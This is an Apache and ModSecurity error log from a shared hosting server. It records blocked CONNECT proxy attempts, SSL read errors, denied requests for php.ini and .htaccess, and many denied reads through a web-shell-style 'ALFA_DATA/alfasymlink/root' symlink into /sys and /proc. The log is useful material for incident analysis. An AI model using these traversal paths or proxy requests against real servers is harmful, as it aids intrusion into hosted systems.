[Sat Oct 24 10:25:24.650799 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.239:56128] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tooyoungtoholdon.world:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGlzQAAAA4"]
[Sat Oct 24 10:25:24.661624 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.233:60472] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cdn.tooyoungtoholdon.world:7000 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cdn.tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGlzgAAAA4"]
[Sat Oct 24 10:25:24.684413 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.237:57570] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT raw.bunnyfeet.baby:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "raw.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElETigAAAA8"]
[Sat Oct 24 10:25:24.684634 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.237:57572] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tls.bunnyfeet.baby:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tls.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGl0AAAAA4"]
[Sat Oct 24 10:25:24.695858 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.230:46520] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGl0QAAAA4"]
[Sat Oct 24 10:25:24.707371 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.239:56146] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT youshouldvecomeover.lol:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGl0gAAAA4"]
[Sat Oct 24 10:25:24.708293 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.233:60474] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cdn.youshouldvecomeover.lol:7000 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cdn.youshouldvecomeover.lol"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElETjAAAAA8"]
[Sat Oct 24 10:25:24.736560 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.237:57606] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT raw.bunnyfeet.baby:80 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "raw.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElETjgAAAA8"]
[Sat Oct 24 10:25:24.743815 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.198.224.237:57596] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tls.bunnyfeet.baby:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tls.bunnyfeet.baby"] [uri "/"] [unique_id "aty_1L67zmuaHuFajxGl1QAAAA4"]
[Sat Oct 24 10:25:24.747792 2026] [security2:error] [pid 2653684:tid 2653684] [client 45.198.224.230:46532] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT tooyoungtoholdon.world:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "tooyoungtoholdon.world"] [uri "/"] [unique_id "aty_1IG05LUuqA9cElETjwAAAA8"]
[Sat Oct 24 10:25:30.615383 2026] [core:error] [pid 2653684:tid 2653684] (13)Permission denied: [client 52.22.87.224:25198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/subsystem/slots/29/module/uevent
[Sat Oct 24 10:25:46.631141 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.205.113.104:55428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:54.700205 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.144.185.255:52036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:25:58.643088 2026] [ssl:error] [pid 2653692:tid 2653692] (70014)End of file found: [client 23.21.179.27:6437] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:07.138895 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.194.233.48:40006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:10.639571 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.239.197.197:19094] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:11.908449 2026] [authz_core:error] [pid 2635676:tid 2635676] [client 46.151.178.14:38726] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:26:14.629506 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.71.216.196:29553] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:18.892335 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.202.52.82:3773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:21.246329 2026] [ssl:error] [pid 2653690:tid 2653690] (70014)End of file found: [client 85.208.96.210:46080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:22.890235 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.209.187.99:61507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:31.016014 2026] [ssl:error] [pid 2653686:tid 2653686] (70014)End of file found: [client 18.209.201.119:28119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:34.706602 2026] [ssl:error] [pid 2653687:tid 2653687] (5)Input/output error: [client 52.6.5.24:60007] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:42.969741 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.45.15.233:41276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:44.607356 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 85.208.96.205:33820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sg/sections/__param
[Sat Oct 24 10:26:50.915298 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.221.180.179:2312] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:26:55.659859 2026] [core:error] [pid 2653676:tid 2653676] (13)Permission denied: [client 185.191.171.11:28830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/sections/__kcrctab_gpl
[Sat Oct 24 10:27:10.724612 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.210.152.179:12302] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:14.880127 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.217.171.106:19227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:18.909842 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 100.24.167.60:54830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:20.762267 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.212:56098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/align
[Sat Oct 24 10:27:24.193363 2026] [core:error] [pid 2653690:tid 2653690] (13)Permission denied: [client 185.191.171.10:13456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/store_user
[Sat Oct 24 10:27:24.808672 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.221.156.96:19040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:26.741846 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.197.102.71:26298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:31.417380 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.212.205.90:29101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:27:56.868018 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.201:60730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/cpu_partial
[Sat Oct 24 10:27:58.702285 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 50.16.248.61:62087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:07.063107 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 34.199.252.22:42988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/drivers_probe
[Sat Oct 24 10:28:11.019104 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.204.150.196:2731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:15.475035 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 23.22.59.87:33716] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:18.936117 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 3.229.95.193:4354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/eject
[Sat Oct 24 10:28:26.967745 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.212.131.50:10387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:31.650560 2026] [core:crit] [pid 2653689:tid 2653689] (13)Permission denied: [client 71.6.245.62:49252] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:28:34.596987 2026] [core:crit] [pid 2653691:tid 2653691] (13)Permission denied: [client 45.79.170.227:17934] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:28:34.603244 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 45.79.170.227:27592] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:28:34.603606 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 45.79.170.227:17942] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:28:38.842136 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.161.62:11378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:42.930587 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.226.106.93:51462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:28:51.557737 2026] [core:crit] [pid 2653688:tid 2653688] (13)Permission denied: [client 71.6.237.62:64630] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:28:58.869539 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 54.86.59.155:65498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:06.926083 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.215.24.66:63969] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:15.102568 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.225.181.161:45294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:16.870413 2026] [core:crit] [pid 2653691:tid 2653691] (13)Permission denied: [client 71.6.237.90:50792] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:29:20.270075 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.231.193.38:47645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:30.915318 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.54.95.127:33668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:34.839450 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.225.24.180:58801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:42.853671 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.212.219.113:9411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:47.146823 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.84.93.8:38517] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:29:50.955068 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 44.205.74.196:64743] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/resource2
[Sat Oct 24 10:30:02.210451 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.210:58354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/usersize
[Sat Oct 24 10:30:02.936673 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.227.234.246:2949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:11.151698 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.203.237.170:21734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:15.000806 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.3.155.146:16245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:26.912157 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 44.209.35.147:51658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/remove
[Sat Oct 24 10:30:31.014232 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 44.218.170.184:56185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:35.153709 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 44.215.235.20:48794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:42.983181 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 52.200.251.20:16250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/vmd/new_id
[Sat Oct 24 10:30:47.093672 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.27.153.9:3739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:51.359672 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 52.4.213.199:15870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/bind
[Sat Oct 24 10:30:55.118455 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.166.104.83:3463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:30:58.960625 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.91.122.193:36042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:01.178484 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 185.191.171.16:18842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/cpu_slabs
[Sat Oct 24 10:31:02.952413 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 54.166.104.83:3586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:06.963882 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.231.118.144:26259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:11.087661 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 98.83.8.142:17492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:15.000088 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.218.170.184:50024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:19.029964 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.205.127.11:57336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:27.083056 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 100.29.160.53:13463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:30.866947 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.231.193.38:33175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:35.138926 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 54.156.248.117:21198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:42.851682 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.206.212.24:8234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:51.140381 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.21.148.226:26143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:55.063448 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.214.186.220:34502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:31:58.981706 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 54.159.18.27:44387] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 10:32:10.975397 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 3.223.181.32:19823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:14.906413 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.172.125.172:60708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:18.906665 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.194.233.48:65385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:23.358526 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.147.238.89:4822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:32:26.922143 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 23.21.148.226:20205] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/bind
[Sat Oct 24 10:32:34.749336 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 18.215.24.66:4512] AH02013: coalesce failed to read from data bucket
